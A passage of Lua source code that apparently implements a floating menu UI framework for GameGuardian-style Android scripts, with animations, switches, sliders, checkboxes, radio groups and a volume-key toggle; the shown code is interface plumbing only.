type(DrawableColor)~='table' then DrawableColor={DrawableColor,DrawableColor} end local jianbians = luajava.loadlayout({ GradientDrawable, color = 0xff000000, gradientType = GradientDrawable.LINEAR_GRADIENT, orientation = GradientDrawable.Orientation.TOP_BOTTOM , }) jianbians:setColors(DrawableColor) jianbians:setStroke(StrokeWidth or 0,StrokeColor or 0xffffffff) if type(Radius)=='table' then jianbians:setCornerRadii({Radius[1],Radius[1],Radius[2],Radius[2],Radius[3],Radius[3],Radius[4],Radius[4]}) else jianbians:setCornerRadius(Radius or 0) end return jianbians end function getVerticalBG(gtvb1,gtvb3,gtvb4,gtvb5) if not gtvb4 then gtvb4 = 0 gtvb5 = 0xff000000 end local jianbians = luajava.loadlayout({GradientDrawable}) jianbians:setCornerRadius(gtvb3) jianbians:setGradientType(GradientDrawable.LINEAR_GRADIENT) jianbians:setColors(gtvb1) jianbians:setStroke(gtvb4,gtvb5)--边框宽度和颜色 return jianbians end function getHorizontalBG(gtvb1,gtvb3,gtvb4,gtvb5) if not gtvb4 then gtvb4 = 0 gtvb5 = 0xff000000 end local jianbians = luajava.new(GradientDrawable) jianbians:setCornerRadius(gtvb3) jianbians:setOrientation(GradientDrawable.Orientation.LEFT_RIGHT) jianbians:setGradientType(GradientDrawable.LINEAR_GRADIENT) jianbians:setColors(gtvb1) jianbians:setStroke(gtvb4,gtvb5)--边框宽度和颜色 return jianbians end changan.controlFlip = function(control,time) luajava.runUiThread(function() xuanzhuandonghua = ObjectAnimator:ofFloat(control, "rotationY", { 0, 360 }) xuanzhuandonghua:setRepeatCount(0) xuanzhuandonghua:setRepeatMode(Animation.REVERSE) xuanzhuandonghua:setDuration(time) xuanzhuandonghua:start() end) end changan.controlWater = function(control,time) luajava.runUiThread(function() ObjectAnimator():ofFloat(control,"scaleX", { 1, 0.8, 0.9, 1 }):setDuration(time):start() ObjectAnimator():ofFloat(control,"scaleY", { 1,0.8,0.9,1 }):setDuration(time):start() end) end changan.controlSmall = function(control,time) luajava.runUiThread(function() ObjectAnimator():ofFloat(control,"scaleX", { 1, 0.7, 0.4, 0 }):setDuration(time):start() ObjectAnimator():ofFloat(control,"scaleY", { 1, 0.7, 0.4, 0 }):setDuration(time):start() end) end changan.controlBig2 = function(control,time) luajava.runUiThread(function() control:setPivotX(control:getWidth()/2) control:setPivotY(0) ObjectAnimator():ofFloat(control,"scaleX", { 0, 0.4, 0.7, 1 }):setDuration(time):start() ObjectAnimator():ofFloat(control,"scaleY", { 0, 0.1, 0.4, 1 }):setDuration(time):start() end) end changan.controlSmall2 = function(control,time) luajava.runUiThread(function() control:setPivotX(control:getWidth()/2) control:setPivotY(0) ObjectAnimator():ofFloat(control,"scaleX", { 1, 0.7, 0.4, 0 }):setDuration(time):start() ObjectAnimator():ofFloat(control,"scaleY", { 1, 0.4, 0.1, 0 }):setDuration(time):start() end) end gg.setVisible(false) function guid() seed = { 'e','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' } tb = {} for i = 1,32 do table.insert(tb,seed[math.random(1,16)]) end sid = table.concat(tb) return string.format('%s%s%s', string.sub(sid,1,8), string.sub(sid,10,12), string.sub(sid,21,22)) end import("android.media.AudioManager") audi = context:getSystemService("audio") audiotype = { AudioManager.STREAM_ALARM, --手机闹铃的声音 AudioManager.STREAM_MUSIC, --手机音乐的声音 AudioManager.STREAM_NOTIFICATION, --系统提示的通知 AudioManager.STREAM_RING, --电话铃声的声音 AudioManager.STREAM_SYSTEM, --手机系统的声音 AudioManager.STREAM_VOICE_CALL, --语音电话的声音 AudioManager.STREAM_DTMF, --DTMF音调的声音 --AudioManager.STREAM_BLUETOOTH_SCO, } yinl = {} for i = 1,#audiotype do yinl[i] = {} yinl[i].type = audiotype[i] yinl[i].min = audi:getStreamMinVolume(audiotype[i]) yinl[i].max = audi:getStreamMaxVolume(audiotype[i]) yinl[i].now = audi:getStreamVolume(audiotype[i]) end yltype = 0 function jianting3(func) yinln = {} for i = 1,#audiotype do yinln[i] = {} yinln[i].type = audiotype[i] yinln[i].now = audi:getStreamVolume(audiotype[i]) if yinln[i].now > yinl[i].now then yinl[i].now = yinln[i].now if yltype == 1 then yltype = 0 func() end elseif yinln[i].now < yinl[i].now then yinl[i].now = yinln[i].now if yltype == 0 then yltype = 1 func() end end end end local screenD=false function defaultP(x) if not screenD then screenD=x return end if x==screenD then return end screenD=x if UI高度 <= UIMAXX then UI高度 = UIMAXX end mainLayoutParams.height = UI宽度 mainLayoutParams.width = UI高度 UI高度, UI宽度 = UI宽度, UI高度 window:updateViewLayout(floatWindow, mainLayoutParams) hx = mainLayoutParams.height hy = mainLayoutParams.width if IsLandStatus == 1 then return end end suofang = function(v, event) if isLocked then hanshu(v,event) return 0 end local Action = event:getAction() if Action == MotionEvent.ACTION_DOWN then print(View2Bitmap(floatWindow,true)) isMove = false RawX = event:getRawX() RawY = event:getRawY() hx = mainLayoutParams.height hy = mainLayoutParams.width if hx == 0 or hx==-2 then hx = UIMAXX hy = UIMAXY end elseif Action == MotionEvent.ACTION_MOVE then isMove = true UI高度 = tonumber(hx) + (event:getRawY() - RawY) if UI高度 > UIMAXY then mainLayoutParams.height = UI高度 else UI高度=UIMAXY end UI宽度 = tonumber(hy) + (event:getRawX() - RawX) if UI宽度 > UIMAXX then mainLayoutParams.width = UI宽度 else UI宽度=UIMAXX end --隐藏() window:updateViewLayout(floatWindow, mainLayoutParams) elseif Action == MotionEvent.ACTION_UP then end end setOnExitListener(function() luajava.post(function() window:removeView(floatWindow) if verB~=nil then window:removeView(verB) window:removeView(horiB) end end) luajava.setFloatingWindowHide(false) luajava.setFloatingWindowHide(false) gg.setVisible(true) tuichu=1 end) pic_heir=获取图片("/sdcard/长安/图片/heir") pic_heiright=获取图片('/sdcard/长安/图片/hei_right') function changan.menu(sview) Gsview=sview pic_heix=获取图片("/sdcard/长安/图片/heix") if #sview~=#分页名字 then gg.alert('分页名字数量与菜单配置数量不对应\n请检查你是否写错了') os.exit() end sview[#sview+1]=sview[#sview] PageNum=#分页名字 sview=sview huiz() local mainView2 = luajava.post(function() return luajava.loadlayout({ LinearProgressIndicator, id = luajava.ids['loading'], layout_width = 'match_parent', layout_height = '10dp', indeterminate = true, __onFinish=function(v) v:hide() v:setIndicatorColor({0xff3455FF, 0xff672AFF, 0xff1D8FFF}) v:setIndeterminateAnimationType(0) end, }) end) local dp20=getpx('20dp') local dp60=getpx('dp60') local dp130=getpx('130dp') local fdp20= -dp20 menus = { LinearLayout, layout_height='match_parent', layout_width='match_parent', } for i=1,PageNum do local tmp={ LinearLayout, id=luajava.newId("layoutm"..i), orientation="vertical", layout_width="match_parent", layout_height="wrap_content", padding={'0dp','10dp','0dp','37dp'}, } table.insert(menus,{ ScrollView, __onFinish=function(v) _ENV['layout'..i]=v v:setVerticalScrollBarEnabled(false) end, padding={'90dp','0dp','10dp','0dp'}, layout_width="match_parent", layout_height="wrap_content", tmp }) end local bottombar={ LinearLayout, layout_width="wrap_content", layout_height="match_parent", layout_gravity='right', orientation='vertical', elevation='3dp', { ImageView, padding = "5dp", src = pic_heix, background=getBG(0xffffffff,90), layout_width = "20dp", layout_height = "20dp", layout_margin = "5dp", elevation='3dp', onClick = 隐藏, onTouch = hanshu, }, { LinearLayout, orientation='horizontal', gravity='left', layout_height='match_parent', layout_weight=1, layout_width='match_parent', }, { ImageView, padding = "2dp", src = getRes('1655939983'), background=getBG(0xffffffff,90), layout_width = "20dp", layout_height = "20dp", layout_margin = "5dp", colorFilter=0xff000000, onClick = function() end, onTouch = suofang, elevation='3dp', } } changan.colorf = function(control,colors,t) control:post(function() colorAnim = ObjectAnimator:ofInt(control,"colorFilter", colors) colorAnim:setDuration(t) colorAnim:setEvaluator(ArgbEvaluator()) colorAnim:setRepeatCount(ValueAnimator.INFINITE) colorAnim:setRepeatMode(ValueAnimator.REVERSE) end) end local cebian={ LinearLayout, orientation='vertical', layout_height='match_parent', layout_width='match_parent', gravity='center_horizontal', } slctb=getBG(翻页未选中颜色,15) slcta=getBG(翻页选中颜色,15) function getTimeStamp(t) local str = os.date("%H:%M:%S ",t) return str end for i = 1,#分页名字 do table.insert(cebian,{ LinearLayout, layout_height = "wrap_content", layout_width = "match_parent", layout_marginTop = "1dp", layout_marginBottom = "1dp", onClick = function() 切换(i) end, { LinearLayout, id='jmp'..i, background=slctb, gravity = "center_vertical", elevation='2dp', layout_margin='3dp', layout_height = "24dp", layout_width = "match_parent", layout_weight=1, { MaterialCardView, layout_width='18dp', layout_height='18dp', useCompatPadding=false, layout_margin='3dp', cardElevation='5dp', cardBackgroundColor=0xffffffff, strokeColor=0x00ffffff, onClick=function() end, __onCreate=function(v) v:setRadius(10) local c=ColorStateList({{android.R.attr.state_pressed},{-android.R.attr.state_pressed}}, {0x00ffffff,0x00ffffff}) v:setRippleColor(c) end, { ImageView, layout_width='match_parent', layout_height='match_parent', gravity='center', src=获取图片(侧边图像), }, }, { TextView, text = 分页名字[i], gravity = "center", elevation='2dp', textSize = "10sp", textColor = "#000000", layout_height = "match_parent", layout_width = "match_parent", layout_weight=1, } } }) end local cebian={ ScrollView, layout_width='match_parent', layout_height='match_parent', orientation='horizontal', gravity='left', cebian } local cebian={ LinearLayout, layout_width='match_parent', layout_weight=1, layout_height='match_parent', orientation='vertical', gravity='center_horizontal', cebian } local menui=luajava.loadlayout({ FrameLayout,--菜单 layout_height = "match_parent", layout_width = "match_parent", gravity = "center_horizontal", onClick = function() end, onTouch = hanshu, {LinearLayout, layout_height='match_parent', layout_width='match_parent', {FrameLayout, layout_height='match_parent', layout_width='match_parent', menus, }}, { LinearLayout, layout_width='80dp', layout_height='match_parent', orientation='vertical', gravity='center', background='#ffffff', onClick=function(v) end, onTouch=hanshu, { LinearLayout, layout_width='match_parent', layout_height='match_parent', orientation='vertical', gravity='center_horizontal', layout_margin='5dp', elevation='4dp', background=getBG(0xffffffff,20), { MaterialCardView, layout_width='50dp', layout_height='50dp', useCompatPadding=false, layout_margin='5dp', cardElevation='5dp', cardBackgroundColor=0xffffffff, strokeColor=0x00ffffff, onClick=隐藏, onTouch=hanshu, __onCreate=function(v) v:setRadius(20) local c=ColorStateList({{android.R.attr.state_pressed},{-android.R.attr.state_pressed}}, {0x00ffffff,0x00ffffff}) v:setRippleColor(c) end, { ImageView, layout_width='match_parent', layout_height='match_parent', gravity='center', background=获取图片(左上角头像), }, { TextView, layout_width='match_parent', layout_height='10dp', gravity='center', textSize='7sp', textColor='#000000', background='#ffffffff', layout_gravity='bottom', text=左上角标题, }, }, { LinearLayout, layout_width='match_parent', layout_height='wrap_content', orientation='horizontal', gravity='center_vertical', { ImageView, layout_width='12dp', layout_height='12dp', gravity='center', src=获取图片('https://image.rlyun.fun/view.php/114e46052223315361abadb9464256ec.png'), }, { TextView, layout_width='wrap_content', layout_height='wrap_content', gravity='center', textSize='8sp', textColor='#000000', text='恋少为您保驾护航', ellipsize='marquee', singleLine=true, focusable=true, scrollHorizontally=true, __onFinish=function(v) v:setSelected(true) end, }, }, cebian, { LinearLayout, layout_width='match_parent', layout_height='1dp', background='#11161616', }, { TextView, layout_width='match_parent', gravity='center', textSize='10sp', layout_marginBottom='4dp', layout_marginTop='4dp', textColor='#000000', __onFinish=function(v) timet=v luajava.startThread(function() while true do luajava.runUiThread(function() timet:setText(getTimeStamp(os.date())) end) gg.sleep(1000) end end) end, }, }, }, { LinearLayout, layout_gravity='center_horizontal|bottom', background='#dd27272A', layout_width='match_parent', --layout_height='20dp', onClick=function() end, onTouch=hanshu }, bottombar }) transManager=TransitionManager() playingjson=file.read('/sdcard/Download/Animation - 1723566050310.json') dp35=getpx('39dp') local ckou=luajava.loadlayout({ FrameLayout, id = "ckou", layout_height = "match_parent", layout_width = "match_parent", menui, }) changan.loadViews(PageNum,sview) control2=luajava.loadlayout{LinearLayout, { MaterialCardView, layout_width = "40dp", layout_height = "40dp", useCompatPadding=false, cardBackgroundColor=0xffffffff, strokeColor=0x00ffffff, onClick=function() end, __onCreate=function(v) v:setRadius(25) local c=ColorStateList({{android.R.attr.state_pressed},{-android.R.attr.state_pressed}}, {0x00ffffff,0x00ffffff}) v:setRippleColor(c) end, { ImageView, background = 获取图片2(悬浮窗图标), layout_width = "40dp", layout_height = "40dp", onTouch = hanshu, onClick = 隐藏, } }, } floatmain={ FrameLayout, id='floatmain', fillViewPort=true, layout_height='match_parent', layout_width='match_parent', onClick = function() end, onTouch = hanshu, ckou, } function checkSize() end luajava.post(function() floatmain=luajava.loadlayout(floatmain) luajava.runUiThread(function() floatWindow:setPivotY(25) floatWindow:setPivotX(25) control2:setPivotY(25) control2:setPivotX(25) YoYoImpl:with("FadeIn"):duration(800):playOn(floatmain) end) local vertiParam=getLayoutParams2() vertiParam.width=0 local horiParam=getLayoutParams2() horiParam.height=0 window:addView(luajava.loadlayout({ LinearLayout, __onFinish=function(v) verB=v 切换(1) end }),vertiParam) window:addView(luajava.loadlayout({ LinearLayout, __onFinish=function(v) isVertical=true defaultP(1) horiB=v luajava.startThread(function () while true do gg.sleep(200) luajava.runUiThread(function () local Vheight=verB:getMeasuredHeight() local Vwidth=horiB:getMeasuredWidth() if Vheight>Vwidth then defaultP(1) else defaultP(0) end end) end end) end }),horiParam) floatWindow:addView(floatmain) floatWindow:removeView(beforejz) luajava.startThread(function() gg.sleep(500) luajava.runUiThread(function() floatWindow:requestFocus() mainLayoutParams.x=mainLayoutParams.x+1 window:updateViewLayout(floatWindow, mainLayoutParams) end) end) beforejz=nil end) qhkai = 0 显示 = 1 qiehuan = function() if qhkai == 0 then yinll = 0 qhkai = 1 draw.remove() gg.toast("HIDE") luajava.runUiThread(function() nowxfc2=floatWindow:isAttachedToWindow() if nowxfc2 then YoYoImpl:with("FadeOut"):duration(300):playOn(floatWindow) else YoYoImpl:with("FadeOut"):duration(300):playOn(control2) end end) gg.sleep(400) luajava.runUiThread(function() if nowxfc2 then floatWindow:setVisibility(View.GONE) else control2:setVisibility(View.GONE) end end) else qhkai = 0 yinll = 1 huiz() luajava.runUiThread(function() nowxfc2=floatWindow:isAttachedToWindow() if nowxfc2 then floatWindow:setVisibility(View.VISIBLE) YoYoImpl:with("FadeIn"):duration(300):playOn(floatWindow) else control2:setVisibility(View.VISIBLE) YoYoImpl:with("FadeIn"):duration(300):playOn(control2) end end) end end if yyfunc~=nil then yyfunc() end if ylfunc~=nil then ylfunc() end while true do if tuichu == 1 then os.exit() end if 音量键==true then jianting3(qiehuan) end gg.sleep(120) end draw.text("",0,0) gg.setVisible(false) end function 切换(x) luajava.runUiThread(function() 当前ui=x for i = 1,#分页名字 do _ENV['jmp'..i]:setBackground(slctb) _ENV['layout'..i]:setVisibility(View.GONE) end _ENV['jmp'..当前ui]:setBackground(slcta) _ENV['layout'..当前ui]:setVisibility(View.VISIBLE) end) end function 隐藏() vibra:vibrate(6) luajava.runUiThread (function () if 显示== 0 then 显示 = 1 mainLayoutParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL mainLayoutParams.height = UI高度 mainLayoutParams.width = UI宽度 if control2:isAttachedToWindow() and not floatWindow:isAttachedToWindow() then luajava.startThread(function() luajava.runUiThread(function() changan.controlSmall(control2,600) changan.controlBig(floatWindow,600) mainLayoutParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL mainLayoutParams.width = UI宽度 -- 布局宽度 mainLayoutParams.height = UI高度 -- 布局高度 if not floatWindow:isAttachedToWindow() then window : addView (floatWindow , mainLayoutParams) end end) gg.sleep(600) luajava.runUiThread(function() window:removeView(control2) end) zzdh=false end) end else 显示=0 zzdh=true if floatWindow:isAttachedToWindow() and not control2:isAttachedToWindow() then luajava.startThread(function() luajava.runUiThread(function() changan.controlSmall(floatWindow,600) changan.controlBig(control2,600) mainLayoutParams.flags = LayoutParams.FLAG_NOT_FOCUSABLE mainLayoutParams.width = LayoutParams.WRAP_CONTENT -- 布局宽度 mainLayoutParams.height = LayoutParams.WRAP_CONTENT -- 布局高度 if not control2:isAttachedToWindow() then window : addView (control2 , mainLayoutParams) end end) gg.sleep(600) luajava.runUiThread(function() window:removeView(floatWindow) end) zzdh=false end) end end end) end local RadTint=ColorStateList({ {android.R.attr.state_checked}, {-android.R.attr.state_checked}, {}, }, { '0xff'..控件颜色, '0x55161616', 0xffffffff }) function changan.intcheck(name,func1,func2) local nid = name..guid() local func = 开关(name,func1,func2,nid) if not name then name = "未设置" end return { LinearLayout, layout_width = 'match_parent', layout_weight=1, layout_height = "42dp", layout_marginTop = "1dp", layout_marginBottom = "1dp", padding = "1dp", { LinearLayout, padding="3dp", layout_width = 'match_parent', layout_height = "wrap_content", gravity = "center_vertical", --background=getVerticalBG({0xffFFFDF2,0xddffffff,0xffFFFDF2},15,8,0xffFFDA71), { CheckBox, id=luajava.newId(nid.."t"), layout_width = '32dp', layout_height = '32dp', padding = "0dp", __onFinish=function(v) v:setButtonTintList(RadTint) end, onClick = function() luajava.newThread(function() func() end):start() end, },{ TextView, gravity = "left", text = name, textColor=0xff000000, textSize = "14sp", layout_width = 'match_parent', layout_weight=1, onClick = function() local v=luajava.getIdView(nid..'t') if v:isChecked() then v:setChecked(false) else v:setChecked(true) end luajava.newThread(function() func() end):start() end, }, } } end changan.controlRotation9 = function(control, time,t) luajava.runUiThread(function() xuanzhuandonghua = ObjectAnimator:ofFloat(control, "rotation", { time,t }) xuanzhuandonghua:setRepeatCount(0) xuanzhuandonghua:setRepeatMode(Animation.RESTART) xuanzhuandonghua:setDuration(400) xuanzhuandonghua:start() end) end function visi (tid) vibra:vibrate(4) if boxes[tid][5] then boxes[tid][5]=false transManager:go(boxes[tid][1],boxes[tid][4]) changan.controlRotation9(boxes[tid][3],90,0) boxes[tid][3]:setColorFilter(0xff161616) else boxes[tid][5]=true transManager:go(boxes[tid][2],boxes[tid][4]) changan.controlRotation9(boxes[tid][6],0,90) boxes[tid][6]:setColorFilter('0xff'..控件颜色) end end function 开关(name , func1 , func2 ) local localname=name local tname=name..guid() if func1 == nil then func1 = "" end if func2 == nil then func2 = "" end if type(func1 ) == "function" then return function() namers = _ENV [ tname ] if namers ~= "开" then _ENV [ tname ] = "开" pcall(func1 ) else _ENV [ tname ] = "关" pcall(func2 ) end end end end swfuncs,buts,sliders,boxes,textvs={},{},{},{},{} local swcDraw=ColorStateList({ {android.R.attr.state_checked}, {-android.R.attr.state_checked}, }, { '0xff'..控件颜色, 0x33d7d7d7, }) local swcThumb=ColorStateList({ {android.R.attr.state_checked}, {android.R.attr.state_pressed}, {-android.R.attr.state_pressed}, }, { 0xffffffff, '0x88'..控件颜色, 0x55161616 }) function changan.getedit (name) edit = tostring (luajava.getIdValue (_ENV [name]) : getText ()) return edit end function changan.setedit (name , txt) txt = tostring (txt) luajava.runUiThread (function () luajava.getIdValue (_ENV [name]) : setText (txt) end ) end function getButtonBG() local selector = luajava.getStateListDrawable() selector:addState({ android.R.attr.state_pressed }, getVerticalBG({0xffd7d7d7,0xffd7d7d7},20)) selector:addState({ -android.R.attr.state_pressed }, getVerticalBG({0xffffffff,0xffffffff},20)) return selector end function changan.text(text,color,size,isjz) if not color then color="#161616" end if color=='跟随主题' then color='#7F5EFF' end if isjz then jzjz='center' else jzjz='left' end return { TextView, text=text, textColor=color, textSize=size, gravity=jzjz, layout_height="wrap_content", layout_width="match_parent", autoSizeTextType="uniform", } end function changan.button(txt,func,txtc) if not txt then txt = "未设置" end if not txtc then txtc="#000000" end if txtc=='跟随主题' then txtc='#190335' end local tid="Cbutton".. guid() return { LinearLayout, layout_width = "match_parent", gravity = "center_vertical", layout_margin = "4dp", background = getButtonBG(), elevation='2dp', padding="10dp", onClick = function(v) changan.controlWater(v,300) luajava.newThread(func):start() end, { TextView, --id = luajava.newId(tid), textColor = txtc, text = txt, textSize = "13sp", layout_height = "wrap_content", layout_width = "match_parent", layout_weight=1, },{ImageView, src=pic_heir, layout_height="14dp", layout_width="14dp", } } end function changan.switch(name,func1,func2,miaoshu) local nid = name..guid() swfuncs[nid]= {func1,func2} if not name then name = "未设置" end local rest ={ LinearLayout, layout_width = 'match_parent', layout_height = "48dp", gravity = "center_vertical", { LinearLayout, layout_width = 'match_parent', layout_height = "40dp", layout_margin="4dp", gravity = "center_vertical", background = luajava.loadlayout { GradientDrawable , color = 0xffffffff , cornerRadius = 20}, elevation="2dp", padding = { "0dp","0dp","6dp","0dp" }, { TextView, gravity = "top", text = name, textColor = '#000000', textSize = "13sp", layout_weight = 1, layout_width = '80dp', layout_marginLeft = "10dp", layout_marginRight = "20dp", }, { TextView, gravity = "center", layout_height = "match_parent", text = miaoshu, textSize = "11sp", layout_width = "wrap_content", layout_marginLeft = "-50dp", layout_weight = 1, textColor = "#A5A5A5", }, { MaterialSwitch, id=luajava.newId(nid), __onFinish=function(v) table.insert(switchs,v) v:setTrackTintList(swcDraw) v:setThumbTintList(swcThumb) luajava.setInterface(v, 'setOnCheckedChangeListener', {onCheckedChanged=function(view,isc) if isc then local func=swfuncs[nid][1] or function() end if func~=nil then luajava.startThread(func) end else local func=swfuncs[nid][2] or function() end if func~=nil then luajava.startThread(func) end end end}) end, layout_width = 'wrap_content', layout_height = 'wrap_content', }} } return rest end function changan.check(cklist) if #cklist==0 then return nil end local rest = { LinearLayout, layout_width = 'match_parent', layout_height = "wrap_content", gravity = "center", orientation="vertical", } for i = 1, #cklist,3 do local tempTable = {LinearLayout, layout_width = 'match_parent', layout_height = "wrap_content", gravity = "left", orientation="horizontal" } for j = 0, 2 do if cklist[i + j] ~= nil then local name = cklist[i + j][1] local func1 = cklist[i + j][2] local func2 = cklist[i + j][3] if not name then name = "未设置" end rstt = changan.intcheck(name,func1,func2) table.insert(tempTable, rstt) else table.insert(tempTable, {LinearLayout, layout_width = 'match_parent', layout_weight=1,}) end end table.insert(rest, tempTable) end return rest end function changan.box(views) local tid = "box".. guid () boxes[tid]={} local firadio = { LinearLayout , layout_width = 'match_parent' , layout_height = "wrap_content" , layout_margin = "4dp" , orientation = "vertical" , background=luajava.loadlayout { GradientDrawable , color = 0xffffffff , cornerRadius = 20 }, elevation='2dp', __onFinish=function(v) boxes[tid][2]=Scene(v,boxes[tid][2]) boxes[tid][1]=Scene(v,boxes[tid][1]) boxes[tid][4]=luajava.new(TransitionSet) local bds=luajava.new(ChangeBounds) bds:setDuration(500) boxes[tid][4]:addTransition(bds) boxes[tid][4]:setDuration(500) end, } if type (views [1]) == "string" or type (views [1]) == "number" then else gg.alert ("changan.box的table内第一个元素必须是string") os.exit () end local but={ LinearLayout , layout_width = 'match_parent' , layout_height = "40dp" , gravity = "center_vertical" , layout_margin = "3dp" , background = getButtonBG(), onClick = function () visi (tid) end, { TextView , text = views [1] , textSize = "13sp" , layout_marginLeft = "15dp" , layout_width = "match_parent" , layout_weight=1, textColor = "#000000" , gravity = "left" , },{ LinearLayout , padding={"0dp","0dp","10dp","0dp"}, layout_width = "30dp" , layout_height = "30dp" , gravity = "center", { ImageView , src = pic_heiright, layout_width = "24dp" , layout_height = "24dp" , colorFilter=0xff161616 } } } boxes[tid][1]=luajava.loadlayout{ LinearLayout, layout_width='match_parent', { LinearLayout , layout_width = 'match_parent' , layout_height = "40dp" , gravity = "center_vertical" , layout_margin = "3dp" , background = getButtonBG(), onClick = function () visi (tid) end, { TextView , text = views [1] , textSize = "13sp" , layout_marginLeft = "15dp" , layout_width = "match_parent" , layout_weight=1, textColor = "#000000" , gravity = "left" , },{ LinearLayout , padding={"0dp","0dp","10dp","0dp"}, layout_width = "30dp" , layout_height = "30dp" , gravity = "center", { ImageView , src = pic_heiright, layout_width = "24dp" , layout_height = "24dp" , colorFilter=0xff161616, __onFinish=function(v) boxes[tid][3]=v end, } } } } table.insert(firadio,but) local radios = { LinearLayout, orientation = "vertical", layout_width = 'match_parent', } for i = 2 , # views do radios [# radios + 1] = views [i] end boxes[tid][2]=luajava.loadlayout{ LinearLayout, layout_width='match_parent', orientation = "vertical" , { LinearLayout , layout_width = 'match_parent' , layout_height = "40dp" , gravity = "center_vertical" , layout_margin = "3dp" , background = getButtonBG(), onClick = function () visi (tid) end, { TextView , text = views [1] , textSize = "13sp" , layout_marginLeft = "15dp" , layout_width = "match_parent" , layout_weight=1, textColor = "#000000" , gravity = "left" , },{ LinearLayout , padding={"0dp","0dp","10dp","0dp"}, layout_width = "30dp" , layout_height = "30dp" , gravity = "center", { ImageView , src = pic_heiright, layout_width = "24dp" , layout_height = "24dp" , colorFilter='0xff'..控件颜色, __onFinish=function(v) boxes[tid][6]=v end, } } }, radios } return firadio end function changan.edit(name , hint) _ENV [name] = name..guid () if not hint then hint = "点击输入文字" end return { LinearLayout , layout_width = 'match_parent' , layout_height = "40dp" , layout_marginTop = "5dp" , layout_marginBottom = "5dp" , layout_marginLeft = "0dp" , layout_marginRight = "0dp" , gravity = "center_vertical" , { EditText , background = getButtonBG(), __onFinish=function(v) v:setHintTextColor(0xff545454) end, gravity = "center" , hint = hint , textColor='#000000', textSize = "13sp", layout_height = "40dp" , layout_marginBottom = "-2dp", id=luajava.newId(_ENV [name]), layout_width = 'match_parent' , } } end function changan.seek(name,bian,smin,smax,nows) _ENV[bian] =nows local smin=tonumber(smin) local smax=tonumber(smax) if _ENV[bian] == nil then _ENV[bian] = 1.0 end if not name then name = "未设置" end local names = name..guid() kid=guid().."sk" return { LinearLayout, id=luajava.newId(kid), layout_width = 'match_parent', layout_hight = "match_parent", layout_marginTop = "5dp", layout_marginBottom = "5dp", gravity = "center_vertical", { TextView, padding={"5dp","10dp","0dp","10dp",}, gravity = "top", textColor='#000000', text = name, id = luajava.newId(names), layout_width = '100dp', --layout_marginLeft = "5dp", layout_marginRight = "0dp", }, { Slider, thumbHeight='23dp', trackHeight='15dp', trackStopIndicatorSize='0dp', tickVisible=false, __onFinish=function(v) table.insert(sliders,v) v:setTrackActiveTintList(ColorStateList({{},},{'0xff'..控件颜色})) v:setTrackInactiveTintList(ColorStateList({{},},{'0x55'..控件颜色})) v:setThumbTintList(ColorStateList({{},},{'0xff'..控件颜色})) luajava.setInterface(v, 'addOnChangeListener', function(SeekBar, var2, var3) _ENV[bian] = var2 end) end, layout_width = 'match_parent', id=luajava.newId(name.."seekbar"), valueFrom=smin, valueTo=smax, value=nows, stepSize=1.0, } } end function changan.radio(cklist) local rest = { LinearLayout , layout_width = 'match_parent' , layout_height = "wrap_content" , gravity = "top" , orientation = "vertical" , } if type (cklist [1]) == "string" then rds=2 rest [# rest + 1] = { TextView , gravity = "left" , padding="5dp", text = cklist [1] , textSize = "13sp" , textColor = '#000000' , layout_width = 'match_parent' , layout_height = 'wrap_content' , layout_marginLeft = "10dp" , layout_marginRight = "5dp" , layout_marginTop = "0dp" , layout_marginBottom = "0dp" , } else rds=1 end local restt={ RadioGroup , layout_width = 'match_parent' , layout_height = "wrap_content" , layout_margin = "4dp" , gravity = "top" , orientation = "vertical" , elevation='2dp', background=luajava.loadlayout { GradientDrawable , color = 0xffffffff , cornerRadius = 20 }, } for i = rds , # cklist do local name = cklist [i] [1] local func = cklist [i] [2] if not name then name = "未设置" end local nid = name..guid () restt [# restt + 1] = { RadioButton , gravity = "top" , text = name , textSize="13sp", gravity='center_vertical', textColor = '#000000' , layout_width = 'match_parent' , layout_height = 'wrap_content' , layout_marginLeft = "2dp" , layout_marginRight = "2dp" , __onFinish=function(v) v:setButtonTintList(RadTint) end, onClick=function() luajava.startThread(func) end } end rest [# rest + 1] = restt return rest end function changan.image(img,height,width,pad,func) if not func then func=function() end end if not pad then pad="0dp" end if not height then height="80dp" end if not width then width="80dp" end return { LinearLayout, layout_height="wrap_content", layout_width="match_parent", gravity="center", { ImageView, layout_height=height, layout_width=width, padding=pad, src=获取图片(img), onClick=function() luajava.newThread(func):start() end, }} end function changan.loadViews(PageNum) local i=1 local gsi=Gsview[i] for j=1,#gsi do if type(gsi[j])=='table' then local CreatedView CreatedView=gsi[j] local ParentV=luajava.loadlayout({LinearLayout,CreatedView}) CreatedView=ParentV:getChildAt(0) ParentV:removeView(CreatedView) local layoutm=luajava.getIdView('layoutm'..i) luajava.runUiThread(function() layoutm:addView(CreatedView) end) elseif type(gsi[j])=='userdata' then luajava.getIdView('layoutm'..i):addView(gsi[j]) end end for i=2,PageNum do local gsi=Gsview[i] luajava.startThread(function() for j=1,#gsi do if type(gsi[j])=='table' then local CreatedView CreatedView=gsi[j] local ParentV=luajava.loadlayout({LinearLayout,CreatedView}) CreatedView=ParentV:getChildAt(0) ParentV:removeView(CreatedView) local layoutm=luajava.getIdView('layoutm'..i) luajava.runUiThread(function() layoutm:addView(CreatedView) end) elseif type(gsi[j])=='userdata' then luajava.getIdView('layoutm'..i):addView(gsi[j]) end end end) end end namelist = {} param1 = {} floattable = {} function newfloat(name,func1,func2) if _ENV[name]~=nil then floattable[name] = 1 local function invoke2() window:addView(_ENV[name], param1[name]) end local runnable = luajava.getRunnable(invoke2) local handler = luajava.getHandler() handler:post(runnable) return 0 end floattable[name] = 1 local func = 开关(name.."k",func1,func2) local function invoke(name,func1,func2) if not name then name = "未设置" end nameid = name..guid() local ok local RawX, RawY, x, y nameid1 = name..guid() if not namelist[name] then namelist[name] = false end if namelist[name] ~= false then clclcl = "#aa269843" else clclcl = "#aa161616" end param1[name] = getLayoutParams2() _ENV[name] = luajava.loadlayout( { LinearLayout, layout_width = "wrap_content", id = luajava.newId(nameid1), layout_height = "wrap_content", background = luajava.loadlayout { GradientDrawable, color = clclcl, cornerRadius = 10 }, onClick = function() if namelist[name] == false then _ENV[name]:setBackground(luajava.loadlayout { GradientDrawable, color = "#aa269843", cornerRadius = 10 }) namelist[name] = true elseif namelist[name] == true then _ENV[name]:setBackground(luajava.loadlayout { GradientDrawable, color = "#aa161616", cornerRadius = 10 }) namelist[name] = false end 